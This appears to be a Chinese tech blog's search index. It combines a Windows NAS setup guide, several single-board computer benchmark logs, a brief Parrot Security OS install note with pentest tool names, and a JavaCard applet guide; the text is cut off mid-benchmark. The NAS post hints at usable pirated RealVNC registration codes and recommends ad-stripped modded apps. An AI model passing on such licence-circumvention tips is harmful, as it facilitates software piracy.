需求:1)千兆口的路由。笔者使用的是Netgear的WNDR3800(因为便宜啊╮(╯_╰)╭)2)一台自建的,运行Windows系统的NAS。(正在使用商业NAS的请忽略,因为笔者没用过╮(╯ ╰)╭) 笔者的NAS配置:操作系统:Microsoft Windows 7 旗舰版 (BUILD:7601) (64-bit) (因为显卡驱动不支持32位的系统) CPU信息:Intel(R) Celeron(R) CPU N3150 @ 1.60GHz 主板信息:Colorful (七彩虹) C.N3150M-K PRO 内存信息:4.0 GB 显卡信息:Intel(R) HD Graphics 硬盘信息:ST1000DM003-9YN162 ATA Device (1.0 TB) ST3160815AS ATA Device (160.0 GB) 网卡信息:Realtek PCIe GBE Family Controller (本地连接) 3)各种各样的软件。。。。 具体方案:NAS部分: 1)安装&配置VNC用到的软件:RealVNC Enterprise(为了能远程控制NAS,可以再装一个TeamViewer)一路(Next),最后会出现要求输入注册码的界面(HA7MG开头的注册码还能用)注册成功。在通知栏的VNC图标上右键–Options:单击下面的Users & Permissions page单击Standard User (user),配置密码最后点击右下角的Apply应用设置VNC配置部分(完) 2)配置文件共享 点击通知栏上的网络图标,打开网络和共享中心,将网络类型改为家庭网络。 更改高级共享设置(设置如图)回到桌面,右键“计算机”–选择“管理”在“管理”界面,依次展开–“本地用户和组”–“用户”新建一个用户然后把新建的账户隐藏: 教程链接:http://jingyan.baidu.com/article/f96699bb81ace6894f3c1b7b.html 选择需要共享的文件夹/硬盘(笔者是将整个硬盘都共享,这样会方便很多)打开磁盘的属性–共享–高级共享,勾选(共享此文件夹),单击(权限)按钮。点击(添加),在文本框中输入刚才新建的用户名,点击检查名称,确定。删除Everyone,勾选(完全控制)。一路确定。**配置文件共享(完) ** 4)安装各种软件utorrent,百度云管家…… 5)**配置远程下载 **这里的远程下载是给手机端用的 百度云管家的远程下载不用介绍了吧。。。。 需要uTorrent3.3以上版本打开 设置–远程控制设置好 计算机名 和 密码。 PC部分:1)使用共享的文件打开控制面板–凭据管理器点击(添加Windows凭据)计算机名在 (计算机–属性) 里然后就可以打开 (网络) 直接使用NAS里的文件辣。ヾ(´▽‘) Ext:如何优雅的看漫(ben)画(zi)(PC篇)听说你还在手动解压?软件:Honeyview(直接读取压缩包内图片,无需解压,支持加密的压缩包)注:中文密码可能需要先打出来再粘贴到密码输入框里。(效果图)2)使用网络唤醒教程链接:http://www.iplaysoft.com/wol.html 3)连接远程桌面软件:VNC Viewer https://www.realvnc.com/download/viewer/ **手机部分: ** 1)浏览NAS上的视频需要的软件:ES文件浏览器(去广告版),MX Player pro(去广告版)打开 ES文件浏览器–我的网络–新建–局域网Done! 2)漫画需要的软件:Perfect Viewer 这个APP的功能和PC上的HoneyView差不多,就是广告有点烦人,在存储卡/Andriod/data/com.rookiestudio.perfectviewer/下新建一个cache文件可以防止百毒推广下载文件。 如果你的手机是Root过的,最好把/data/data/com.rookiestudio.perfectviewer/cache目录下的百毒推广文件夹的权限设置为000。3)远程桌面软件:VNC Viewer https://www.realvnc.com/download/viewer/android/4)远程下载软件:µTorrent Remote http://www.coolapk.com/apk/com.utorrent.web iPad/iPhone部分(iOS):以下软件都可以从appstore直接下载。(用国产的各种助手可以免越狱安装)(nPlayer是收费的,有能力的尽量去支持一下作者)1)远程桌面VNCViewer 2)浏览NAS上的视频nPlayer","link":"/MyNAS.html"},{"title":"友善 FriendlyELEC NanoPC-T4 CPU跑分测试 CPU Benchmark","text":"CPU:Rockchip RK3399RAM:4G screenfetch 12345678910111213141516171819 _,met$$$$$gg. disappear9@nanopct4 ,g$$$$$$$$$$$$$$$P. OS: Debian 12 bookworm ,g$$P"" """Y$$.". Kernel: aarch64 Linux 6.12.44-current-rockchip64 ,$$P' `$$$. Uptime: 15m',$$P ,ggs. `$$b: Packages: 366`d$$' ,$P"' . $$$ Shell: bash $$P d$' , $$P Disk: 4.8G / 485G (2%) $$: $$. - ,d$$' CPU: ARM Cortex-A53 Cortex-A72 @ 6x 1.416GHz $$\\; Y$b._ _,d$P' RAM: 4G Y$$. `.`"Y$$$$P"' `$$b "-.__ `Y$$ `Y$$. `$$b. `Y$$b. `"Y$b._ `"""" 7-zip 16.02: 123456789101112131415161718192021222324252627282930313233343536373839404142434445disappear9@nanopct4:~$ 7z b -mmt67-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=zh_CN.UTF-8,Utf16=on,HugeFiles=on,64 bits,6 CPUs LE)LECPU Freq: 64000000 64000000 - - - - - - -RAM size: 3852 MB, # CPU hardware threads: 6RAM usage: 1323 MB, # Benchmark threads: 6 Compressing | DecompressingDict Speed Usage R/U Rating | Speed Usage R/U Rating KiB/s % MIPS MIPS | KiB/s % MIPS MIPS22: 4995 493 986 4860 | 93784 520 1538 799823: 4735 503 960 4825 | 91755 520 1527 794024: 4721 542 937 5077 | 89873 520 1517 788825: 4656 574 926 5316 | 87341 519 1497 7773---------------------------------- | ------------------------------Avr: 528 952 5019 | 520 1520 7900Tot: 524 1236 6460disappear9@nanopct4:~$ 7z b -mmt17-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=zh_CN.UTF-8,Utf16=on,HugeFiles=on,64 bits,6 CPUs LE)LECPU Freq: - - - - - - 512000000 1024000000 -RAM size: 3852 MB, # CPU hardware threads: 6RAM usage: 435 MB, # Benchmark threads: 1 Compressing | DecompressingDict Speed Usage R/U Rating | Speed Usage R/U Rating KiB/s % MIPS MIPS | KiB/s % MIPS MIPS22: 1629 99 1598 1585 | 22693 100 1943 193823: 1535 99 1579 1565 | 22323 100 1938 193224: 1466 99 1590 1576 | 21931 100 1931 192525: 1355 99 1562 1548 | 21440 100 1915 1908---------------------------------- | ------------------------------Avr: 99 1582 1568 | 100 1932 1926Tot: 99 1757 1747 phoronix-test-suite benchmark compress-7zip 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162disappear9@nanopct4:~$ ./phoronix-test-suite benchmark compress-7zip pts/compress-7zip-1.12.0:System Information PROCESSOR: ARMv8 Cortex-A72 @ 1.42GHz Core Count: 4 Thread Count: 6 Scaling Driver: cpufreq-dt ondemand GRAPHICS: MOTHERBOARD: FriendlyElec NanoPC-T4 Chipset: Rockchip RK3399 MEMORY: 4096MB DISK: 512GB SK hynix HFS512GDE9X084N + 16GB AJTD4R File-System: ext4 Mount Options: commit=120 errors=remount-ro noatime rw Disk Scheduler: NONE Disk Details: Block Size: 4096 OPERATING SYSTEM: Debian 12 Kernel: 6.12.44-current-rockchip64 (aarch64) Compiler: GCC 12.2.0 Security: gather_data_sampling: Not affected + indirect_target_selection: Not affected + itlb_multihit: Not affected + l1tf: Not affected + mds: Not affected + meltdown: Not affected + mmio_stale_data: Not affected + reg_file_data_sampling: Not affected + retbleed: Not affected + spec_rstack_overflow: Not affected + spec_store_bypass: Not affected + spectre_v1: Mitigation of __user pointer sanitization + spectre_v2: Vulnerable: Unprivileged eBPF enabled + srbds: Not affected + tsa: Not affected + tsx_async_abort: Not affected7-Zip Compression 25.00: pts/compress-7zip-1.12.0 Test 1 of 1 Estimated Trial Run Count: 3 Estimated Time To Completion: 4 Minutes [10:29 UTC] Started Run 1 @ 10:25:56 Started Run 2 @ 10:27:30 Started Run 3 @ 10:29:03 Test: Compression Rating: 6156 6193 6134 Average: 6161 MIPS Deviation: 0.48% sysbench 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465disappear9@nanopct4:~$ sysbench cpu --cpu-max-prime=20000 --threads=6 runsysbench 1.0.20 (using system LuaJIT 2.1.0-beta3)Running the test with following options:Number of threads: 6Initializing random number generator from current timePrime numbers limit: 20000Initializing worker threads...Threads started!CPU speed: events per second: 2498.63General statistics: total time: 10.0029s total number of events: 25002Latency (ms): min: 1.42 avg: 2.40 max: 16.88 95th percentile: 3.62 sum: 59998.36Threads fairness: events (avg/stddev): 4167.0000/1956.22 execution time (avg/stddev): 9.9997/0.00disappear9@nanopct4:~$ sysbench cpu --cpu-max-prime=20000 --threads=1 runsysbench 1.0.20 (using system LuaJIT 2.1.0-beta3)Running the test with following options:Number of threads: 1Initializing random number generator from current timePrime numbers limit: 20000Initializing worker threads...Threads started!CPU speed: events per second: 692.27General statistics: total time: 10.0012s total number of events: 6926Latency (ms): min: 1.42 avg: 1.44 max: 12.87 95th percentile: 1.44 sum: 9997.66Threads fairness: events (avg/stddev): 6926.0000/0.00 execution time (avg/stddev): 9.9977/0.00","link":"/NanoPC-T4-CPU-Benchmark.html"},{"title":"OrangePi Zero CPU跑分测试 CPU Benchmark","text":"CPU:H2+RAM:512M (于2025/03重测) screenfetch 123456789101112131415161718 _,met$$$$$gg. disappear9@OPi-Zero ,g$$$$$$$$$$$$$$$P. OS: Debian 12 bookworm ,g$$P"" """Y$$.". Kernel: armv7l Linux 6.6.75-current-sunxi ,$$P' `$$$. Uptime: 1h 41m',$$P ,ggs. `$$b: Packages: 437`d$$' ,$P"' . $$$ Shell: bash $$P d$' , $$P Disk: 3.8G / 30G (14%) $$: $$. - ,d$$' CPU: ARMv7 rev 5 (v7l) @ 4x 1.296GHz $$\\; Y$b._ _,d$P' GPU: Y$$. `.`"Y$$$$P"' RAM: - `$$b "-.__ `Y$$ `Y$$. `$$b. `Y$$b. `"Y$b._ `"""" 7-zip 16.02: 1234567891011121314151617181920212223242526272829303132333435363738394041424344disappear9@OPi-Zero:~$ 7z b -mmt47-Zip [32] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=zh_CN.UTF-8,Utf16=on,HugeFiles=on,32 bits,4 CPUs LE)LECPU Freq: 32000000 - - - - - - - -RAM size: 489 MB, # CPU hardware threads: 4RAM usage: 450 MB, # Benchmark threads: 4 Compressing | DecompressingDict Speed Usage R/U Rating | Speed Usage R/U Rating KiB/s % MIPS MIPS | KiB/s % MIPS MIPS22: 1513 347 424 1472 | 44851 396 966 382723: 1431 356 410 1459 | 41115 396 899 355724: 1305 355 396 1403 | 37626 396 834 3303---------------------------------- | ------------------------------Avr: 353 410 1445 | 396 900 3562Tot: 374 655 2504disappear9@OPi-Zero:~$ 7z b -mmt17-Zip [32] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=zh_CN.UTF-8,Utf16=on,HugeFiles=on,32 bits,4 CPUs LE)LECPU Freq: 64000000 64000000 64000000 - - - - - -RAM size: 489 MB, # CPU hardware threads: 4RAM usage: 435 MB, # Benchmark threads: 1 Compressing | DecompressingDict Speed Usage R/U Rating | Speed Usage R/U Rating KiB/s % MIPS MIPS | KiB/s % MIPS MIPS22: 573 100 558 558 | 11927 100 1019 101823: 539 100 550 550 | 11765 100 1019 101824: 518 100 557 557 | 11506 100 1010 101025: 491 100 562 561 | 11200 100 997 997---------------------------------- | ------------------------------Avr: 100 557 557 | 100 1011 1011Tot: 100 784 784 sysbench 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364disappear9@OPi-Zero:~$ sysbench cpu --cpu-max-prime=20000 --threads=4 runsysbench 1.0.20 (using system LuaJIT 2.1.0-beta3)Running the test with following options:Number of threads: 4Initializing random number generator from current timePrime numbers limit: 20000Initializing worker threads...Threads started!CPU speed: events per second: 74.41General statistics: total time: 10.0407s total number of events: 748Latency (ms): min: 53.14 avg: 53.62 max: 107.58 95th percentile: 52.89 sum: 40104.21Threads fairness: events (avg/stddev): 187.0000/0.00 execution time (avg/stddev): 10.0261/0.01disappear9@OPi-Zero:~$ sysbench cpu --cpu-max-prime=20000 --threads=1 runsysbench 1.0.20 (using system LuaJIT 2.1.0-beta3)Running the test with following options:Number of threads: 1Initializing random number generator from current timePrime numbers limit: 20000Initializing worker threads...Threads started!CPU speed: events per second: 18.59General statistics: total time: 10.0466s total number of events: 187Latency (ms): min: 53.17 avg: 53.71 max: 106.98 95th percentile: 52.89 sum: 10044.25Threads fairness: events (avg/stddev): 187.0000/0.00 execution time (avg/stddev): 10.0442/0.00","link":"/OrangePiZero-CPU-Benchmark.html"},{"title":"OrangePi Zero3 CPU跑分测试 CPU Benchmark","text":"CPU:H618RAM:2G screenfetch 123456789101112131415161718 _,met$$$$$gg. disappear9@Zero3 ,g$$$$$$$$$$$$$$$P. OS: Debian 12 bookworm ,g$$P"" """Y$$.". Kernel: aarch64 Linux 6.6.75-current-sunxi64 ,$$P' `$$$. Uptime: 11d 6h 33m',$$P ,ggs. `$$b: Packages: 442`d$$' ,$P"' . $$$ Shell: bash $$P d$' , $$P Disk: 2.0G / 58G (4%) $$: $$. - ,d$$' CPU: ARM Cortex-A53 @ 4x 1.512GHz $$\\; Y$b._ _,d$P' RAM: - Y$$. `.`"Y$$$$P"' `$$b "-.__ `Y$$ `Y$$. `$$b. `Y$$b. `"Y$b._ `"""" 7-zip 16.02: 1234567891011121314151617181920212223242526272829303132333435363738394041424344disappear9@Zero3:~$ 7z b -mmt47-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=zh_CN.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs LE)LECPU Freq: - - - - - 256000000 - 1024000000 -RAM size: 1918 MB, # CPU hardware threads: 4RAM usage: 882 MB, # Benchmark threads: 4 Compressing | DecompressingDict Speed Usage R/U Rating | Speed Usage R/U Rating KiB/s % MIPS MIPS | KiB/s % MIPS MIPS22: 2339 340 669 2276 | 52855 398 1132 450923: 2201 347 647 2243 | 51734 398 1124 447624: 2097 355 636 2256 | 49812 398 1099 437325: 2014 364 631 2300 | 48705 398 1088 4335---------------------------------- | ------------------------------Avr: 351 646 2269 | 398 1111 4423Tot: 375 878 3346disappear9@Zero3:~$ 7z b -mmt17-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=zh_CN.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs LE)LECPU Freq: 64000000 64000000 - - - 256000000 - 1024000000 -RAM size: 1918 MB, # CPU hardware threads: 4RAM usage: 435 MB, # Benchmark threads: 1 Compressing | DecompressingDict Speed Usage R/U Rating | Speed Usage R/U Rating KiB/s % MIPS MIPS | KiB/s % MIPS MIPS22: 914 100 890 890 | 16813 100 1436 143623: 868 100 885 884 | 16460 100 1425 142524: 831 100 894 894 | 16095 100 1413 141325: 790 100 902 902 | 15692 100 1397 1397---------------------------------- | ------------------------------Avr: 100 893 893 | 100 1418 1418Tot: 100 1155 1155 phoronix-test-suite benchmark compress-7zip 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687disappear9@Zero3:~/phoronix-test-suite$ ./phoronix-test-suite benchmark compress-7zipPhoronix Test Suite v10.8.4 To Install: pts/compress-7zip-1.11.0System Information PROCESSOR: ARMv8 Cortex-A53 @ 1.51GHz Core Count: 4 Scaling Driver: cpufreq-dt ondemand GRAPHICS: MOTHERBOARD: OrangePi Zero3 MEMORY: 2048MB DISK: 62GB SE064 File-System: ext4 Mount Options: commit=120 errors=remount-ro noatime rw Disk Details: Block Size: 4096 OPERATING SYSTEM: Debian 12 Kernel: 6.6.75-current-sunxi64 (aarch64) Compiler: GCC 12.2.0 Security: gather_data_sampling: Not affected + itlb_multihit: Not affected + l1tf: Not affected + mds: Not affected + meltdown: Not affected + mmio_stale_data: Not affected + reg_file_data_sampling: Not affected + retbleed: Not affected + spec_rstack_overflow: Not affected + spec_store_bypass: Not affected + spectre_v1: Mitigation of __user pointer sanitization + spectre_v2: Not affected + srbds: Not affected + tsx_async_abort: Not affectedCurrent Description: ARMv8 Cortex-A53 testing on Debian 12 via the Phoronix Test Suite.7-Zip Compression 24.05: pts/compress-7zip-1.11.0 Test 1 of 1 Estimated Trial Run Count: 3 Estimated Time To Completion: 17 Minutes Started Run 1 Started Run 2 Started Run 3 Test: Compression Rating: 2688 2667 2656 Average: 2670 MIPS Deviation: 0.61% Test: Decompression Rating: 4757 4737 4741 Average: 4745 MIPS Deviation: 0.22%ARMv8 Cortex-A53 testing on Debian 12 via the Phoronix Test Suite. Processor: ARMv8 Cortex-A53 @ 1.51GHz (4 Cores), Motherboard: OrangePi Zero3, Memory: 2048MB, Disk: 62GB SE064 OS: Debian 12, Kernel: 6.6.75-current-sunxi64 (aarch64), Compiler: GCC 12.2.0, File-System: ext4 7-Zip Compression 24.05 Test: Compression Rating MIPS > Higher Is Better Zero3 . 2670 7-Zip Compression 24.05 Test: Decompression Rating MIPS > Higher Is Better Zero3 . 4745 sysbench 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364disappear9@Zero3:~$ sysbench cpu --cpu-max-prime=20000 --threads=4 runsysbench 1.0.20 (using system LuaJIT 2.1.0-beta3)Running the test with following options:Number of threads: 4Initializing random number generator from current timePrime numbers limit: 20000Initializing worker threads...Threads started!CPU speed: events per second: 1124.46General statistics: total time: 10.0030s total number of events: 11254Latency (ms): min: 3.35 avg: 3.55 max: 10.86 95th percentile: 4.25 sum: 40002.45Threads fairness: events (avg/stddev): 2813.5000/0.50 execution time (avg/stddev): 10.0006/0.00disappear9@Zero3:~$ sysbench cpu --cpu-max-prime=20000 --threads=1 runsysbench 1.0.20 (using system LuaJIT 2.1.0-beta3)Running the test with following options:Number of threads: 1Initializing random number generator from current timePrime numbers limit: 20000Initializing worker threads...Threads started!CPU speed: events per second: 294.62General statistics: total time: 10.0007s total number of events: 2948Latency (ms): min: 3.35 avg: 3.39 max: 10.65 95th percentile: 3.36 sum: 9998.34Threads fairness: events (avg/stddev): 2948.0000/0.00 execution time (avg/stddev): 9.9983/0.00","link":"/OrangePiZero3-CPU-Benchmark.html"},{"title":"炫酷的渗透系统Parrot Security OS","text":"Parrot Security OS是一款基于Debian渗透测试系统,集成了诸多流行渗透测试工具,并以其漂亮的UI而出名。 部分内置工具1234567891011121314151617181920aircrack-ngairmodeapache2apache-usersapktoolarpingasleapautopsybbqsqlbedbinwalkbluelogbluemahobluepotbluerangerbokkenbullybulk-extractorburpsuite...... 查看全部点我 安装过程 首先我们要去官网下载ISO镜像。网址:http://www.parrotsec.org/ 在download菜单下,我选择了I386,因为我不知道我的X64的CPU选那个最好,AMD64是应用于64位的系统的,但是不知道inter的CPU会如何。下载说明里没有详细说明。因为我是虚拟机安装,所以就使用了i386,肯定是OK的 不满各位说其实我是都下载了下来一个个试的才成功的……其它的都是安装到一半就卡死了……由于parrot这个系统是基于debian的,所以如果大家使用的低版本的VM虚拟机,记得选择debian,由于我使用的是VM11,所以不需要这么选择。最后20G空间足以。 进入选择界面,选择第一个。这类的安装器都一样。 然后有一个登陆界面,这里输入了root、密码toor进入。 然后就是一个系统桌面了,这里就可以使用这个系统了,不过目前还没有安装在硬盘上,所以做配置更改应该是不能保存的。 作者:MonkeyKing,转载请注明来自Freebuf黑客与极客(FreeBuf.COM)","link":"/Parrot-Security-OS.html"},{"title":"JavaCard 上手","text":"材料准备Javacard (TB搜 J3R180 ¥20-30 要SECID版,记得问卖家密钥)智能卡读卡器 (TB搜 pcsc读卡器/ccid读卡器 ¥30-50,更建议加钱上双界面的,或者买一个便宜的接触式的再买一个好一些的非接触式的日常用) 环境确认操作系统:  Windows 10 LTSB 21H2软件版本:  gpg4win 5.0.1 (gpg 2.5.17)  OpenSC 0.26.1  Global Platform Pro v20.08.12  Temurin JDK 21.0.10+7-LTS  Python 3.13 准备卡片卡片到手后第一件事先改掉默认的密钥 12openssl rand -hex 16 #运行3次,生成三组密钥,分别对应enc,mac,dek!!!千万要保存好,丢失了卡就可以扔了!!! 修改密钥: 12345java -jar gp.jar ` --key-enc old-key ` --key-mac ole-key ` --key-dek old-key ` --lock-enc new-key --lock-mac new-key --lock-dek new-key JCAlgTest先来跑个测试看看到手的卡正不正常、支持哪些算法从JCAlgTest最新版本(当前最新版是AlgTest_dist_1.8.3.zip)安装Applet 1234java -jar gp.jar --install AlgTest_v1.8.2_jc305.cap ` --key-enc new-key ` --key-mac new-key ` --key-dek new-key ` 如果jc305的Applet装不进去,依次尝试jc304 -> jc222如果jc304也装不上,那剩下的教程就不用看了,这说明你买到的卡芯片大概率不是J3R180,且 JavaCard support version 低于 3.0.4 运行AlgTestJClient 1java -jar AlgTestJClient.jar 选择 1 -> SUPPORTED ALGORITHMS 测试支持的算法测试需要跑5分钟左右,最后会生成一个csv文件打开csv文件,记下 CPLC.ICSerialNumber 最好写在卡上方便区分搜索 TYPE_RSA_PRIVATE LENGTH_RSA_3072 如果后面显示的是no,则在安装OpenPGP Applet或IsoApplet时只能使用文件名含2048的。 FIDO2从FIDO2Applet下载工程ZIP包,在从Releases下载Applet(FIDO2.cap)解压工程ZIP包备用,后面要用到工程里的脚本 注意:当前(2026/3/1)GPP必须使用v20.08.12,在这之后的版本处理TLV有问题会导致后面注入证书的操作报错。 安装Applet 12345java -jar gp.jar --install FIDO2.cap ` --params a800f50505061820071904000818200918fe0a1904000b190400 ` --key-enc new-key ` --key-mac new-key ` --key-dek new-key ` 注入证书注意:当前(2026/3/1)Python必须使用3.12,不然pyscard装不上(或者自己手动改下代码)。 1234python -m venv venvvenv\\Scripts\\Activate.ps1pip install -r FIDO2Applet-main/requirements.txtpython FIDO2Applet-main/install_attestation_cert.py OpenPGP从SmartPGP下载Applet建议使用RSA 2048或3072的Applet,更推荐用NIST P-384,因为卡上跑RSA的速度还是太慢了 使用以下脚本生成序列号: gen_sn.py12345678910111213141516import secretsimport subprocess# anything in fff0 to fffe is for unmanaged random assignment of serial numbers_MANUFACTURER = "fff5"def _make_card(): # SN is 8 digits, so 4 bytes shown as hex sn = secrets.token_hex(4) aid = f"d276000124010304{_MANUFACTURER}{sn}0000" print(f"Assigning serial number {sn} for manufacturer {_MANUFACTURER}") print("--create " + aid)if __name__ == "__main__": _make_card() 安装Applet,将--create后的内容替换为上面脚本生成的 12345java -jar gp.jar --install SmartPGPApplet-rsa_up_to_3072.cap ` --create ************************** ` --key-enc new-key ` --key-mac new-key ` --key-dek new-key ` OpenPGP的使用可以参照:Canokey Canary上手#OpenPGP NDEF从openjavacard-ndef下载预编译的Applet 安装Applet 123456java -jar gp.jar --install openjavacard-ndef-full.cap ` --params 8102000082020800 ` --create D2760000850101 ` --key-enc new-key ` --key-mac new-key ` --key-dek new-key ` 这会创建一个有2K存储空间可重复擦写的tag,详细的参数设置参考这里。 PKCS11/15这个Applet需要自己编译IsoApplet 12345# 为了方便配置环境,换到Debian下操作git clone https://github.com/philipWendland/IsoAppletcd IsoAppletgit submodule initgit submodule update 修改 IsoApplet.java 允许导入私钥 IsoApplet.java1public static final boolean DEF_PRIVATE_KEY_IMPORT_ALLOWED = true; 如果你的卡不支持RSA4096,则需要注释掉 IsoApplet.java 中测试RSA4096的部分 IsoApplet.java1234567891011121314 // API features: probe card support for 4096 bit RSA keysapi_features &= ~API_FEATURE_RSA_4096;/* try { RSAPrivateCrtKey testKey = (RSAPrivateCrtKey)KeyBuilder.buildKey(KeyBuilder.TYPE_RSA_CRT_PRIVATE, KeyBuilder.LENGTH_RSA_4096, false); api_features |= API_FEATURE_RSA_4096; } catch (CryptoException e) { if(e.getReason() == CryptoException.NO_SUCH_ALGORITHM) { api_features &= ~API_FEATURE_RSA_4096; } else { throw e; } }*/ 注意:当前(2026/4/1),IsoApplet导入RSA4096密钥会出错,我分别向OpenSC和IsoApplet提交了pr,但是IsoApplet的作者似乎有重构的打算所以并没有直接采用,目前还在等待修复Fix RSA4096 importFix IsoApplet hard coded algorithm_ref如果需要使用RSA4096密钥,要么卡上生成,要么按照pr手动修改代码。 我们启一个Docker防止配置的环境与主机的冲突: 123456sudo docker run -it -v ./IsoApplet:/workdir --name jc_build ubuntu:22.04sudo apt updatesudo apt install openjdk-8-jdk antsudo update-java-alternatives -s java-1.8.0-openjdk-amd64cd /workdirant 编译后得到 IsoApplet.cap当然,你也可以直接使用我编译好的cap 安装Applet 1234java -jar gp.jar --install IsoApplet.cap ` --key-enc new-key ` --key-mac new-key ` --key-dek new-key ` 初始化 123# 生成一个32位的随机序列号openssl rand -hex 16pkcs15-init --create-pkcs15 --serial 48c32f6a878b839a 使用案例参考:Using-the-IsoApplet-with-OpenSSH VeraCryptVeraCrypt可以直接使用存储在符合PKCS #11(2.0或更高版本)标准且允许用户在令牌/卡上存储文件(数据对象)的安全令牌或智能卡上的密钥文件。操作步骤见VeraCrypt文档 有两种方式:1.存到 OpenPGP Applet 的 PrivDO3(Private Data Object 3) 中2.存到 IsoApplet 的 PKCS #15 中 PrivDO3默认情况下直接按VeraCrypt的文档操作,密钥文件会被存入PrivDO1,直接运行 gpg --card-edit 不需要验证PIN就可以直接读取到: 123456PS C:\\Temp> gpg --card-editManufacturer .....: unmanaged S/N range......Private DO 1 .....: DO1XXXXXXXXXXXXXXXXX <<<<<<<<<<<<<<Signature PIN ....: forced 所以更推荐使用这个库:openpgp-privdo3-pkcs11,把密钥文件存进 DO 3。从Releases下载对应的 dll/so 文件后按工程 README 操作。 PKCS1.点击 VeraCrypt 菜单栏的 工具 > 密钥文件生成器2.密钥文件大小设置在 64-256 字节之间,生成后保存3.点击 VeraCrypt 菜单栏的 工具 > 管理安全口令牌密钥文件4.输入设置的PIN码验证5.点击 “导入密钥文件到令牌”,然后选择刚刚生成的文件 GIDS注意:GidsApplet和IsoApplet只能二选一 从GidsApplet下载预编译的Applet 安装Applet 1234java -jar gp.jar --install GidsApplet.cap ` --key-enc new-key ` --key-mac new-key ` --key-dek new-key ` 初始化 12345678# 生成一个48位的随机序列号openssl rand -hex 24# 初始化gids-tool -X# 导入证书(RSA2048)certutil -csp "Microsoft Base Smart Card Crypto Provider" -importpfx -p <passphrase> <file.p12>或pkcs15-init --auth-id 80 --pin <pin> --verify-pin -f PKCS12 --passphrase "<passphrase>" -S <file.p12>","link":"/Play-with-JavaCard.html"},{"title":"树莓派5 Raspberry Pi 5 CPU跑分测试 CPU Benchmark","text":"CPU:BCM2835RAM:4G screenfetch 12345678910111213141516171819 ./+o+- disappear9@Pi5 yyyyy- -yyyyyy+ OS: Ubuntu 24.04 noble ://+//////-yyyyyyo Kernel: aarch64 Linux 6.8.0-1020-raspi .++ .:/++++++/-.+sss/` Uptime: 32m .:++o: /++++++++/:--:/- Packages: 2548 o:+o+:++.`..```.-/oo+++++/ Shell: bash 5.2.21 .:+o:+o/. `+sssoo+/ Resolution: 4480x1440 .++/+:+oo+o:` /sssooo. WM: Not Found/+++//+:`oo+o /::--:. GTK Theme: Adwaita [GTK3]\\+/+o+++`o++o ++////. Disk: 7.9G / 57G (15%) .++.o+++oo+:` /dddhhh. CPU: ARM Cortex-A76 @ 4x 2.4GHz .+.o+oo:. `oddhhhh+ RAM: 470MiB / 3984MiB \\+.++o+o``-````.:ohdhhhhh+ `:o+++ `ohhhhhhhhyo++os: .o:`.syhhhhhhh/.oo++o` /osyyyyyyo++ooo+++/ ````` +oo+++o\\: `oo++. 7-zip 23.01: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556disappear9@Pi5:~$ 7z b -mmt47-Zip 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20 64-bit arm_v:8 locale=C.UTF-8 Threads:4 OPEN_MAX:1024 mt4Compiler: 13.2.0 GCC 13.2.0Linux : 6.8.0-1020-raspi : #24-Ubuntu SMP PREEMPT_DYNAMIC Sun Feb 23 08:39:32 UTC 2025 : aarch64PageSize:4KB THP:madvise hwcap:119FFF:CRC32:SHA1:SHA2:AES:ASIMDLE1T CPU Freq (MHz): 2130 2394 2394 2394 2394 2394 23942T CPU Freq (MHz): 200% 2382 200% 2394RAM size: 3984 MB, # CPU hardware threads: 4RAM usage: 889 MB, # Benchmark threads: 4 Compressing | DecompressingDict Speed Usage R/U Rating | Speed Usage R/U Rating KiB/s % MIPS MIPS | KiB/s % MIPS MIPS22: 10993 374 2857 10695 | 160334 396 3455 1367923: 10165 380 2727 10358 | 157739 399 3422 1364924: 9693 382 2727 10422 | 154513 399 3402 1356025: 9088 381 2725 10377 | 150242 399 3349 13371---------------------------------- | ------------------------------Avr: 9985 379 2759 10463 | 155707 398 3407 13565Tot: 389 3083 12014disappear9@Pi5:~$ 7z b -mmt17-Zip 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20 64-bit arm_v:8 locale=C.UTF-8 Threads:4 OPEN_MAX:1024 mt1Compiler: 13.2.0 GCC 13.2.0Linux : 6.8.0-1020-raspi : #24-Ubuntu SMP PREEMPT_DYNAMIC Sun Feb 23 08:39:32 UTC 2025 : aarch64PageSize:4KB THP:madvise hwcap:119FFF:CRC32:SHA1:SHA2:AES:ASIMDLE1T CPU Freq (MHz): 1490 1495 2134 2394 2394 2394 2394RAM size: 3984 MB, # CPU hardware threads: 4RAM usage: 437 MB, # Benchmark threads: 1 Compressing | DecompressingDict Speed Usage R/U Rating | Speed Usage R/U Rating KiB/s % MIPS MIPS | KiB/s % MIPS MIPS22: 3509 100 3420 3414 | 42244 100 3604 360723: 3261 100 3325 3323 | 41559 100 3603 359724: 3136 100 3381 3373 | 40745 100 3577 357725: 3010 100 3442 3437 | 39720 100 3529 3535---------------------------------- | ------------------------------Avr: 3229 100 3392 3387 | 41067 100 3579 3579Tot: 100 3485 3483 phoronix-test-suite benchmark compress-7zip 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475disappear9@Pi5:~/phoronix-test-suite$ ./phoronix-test-suite benchmark compress-7zipPhoronix Test Suite v10.8.4 To Install: pts/compress-7zip-1.11.0 pts/compress-7zip-1.11.0: Test Installation 1 of 1 1 File Needed [1.42 MB] Downloading: 7z2405-src.tar.xzSystem Information PROCESSOR: 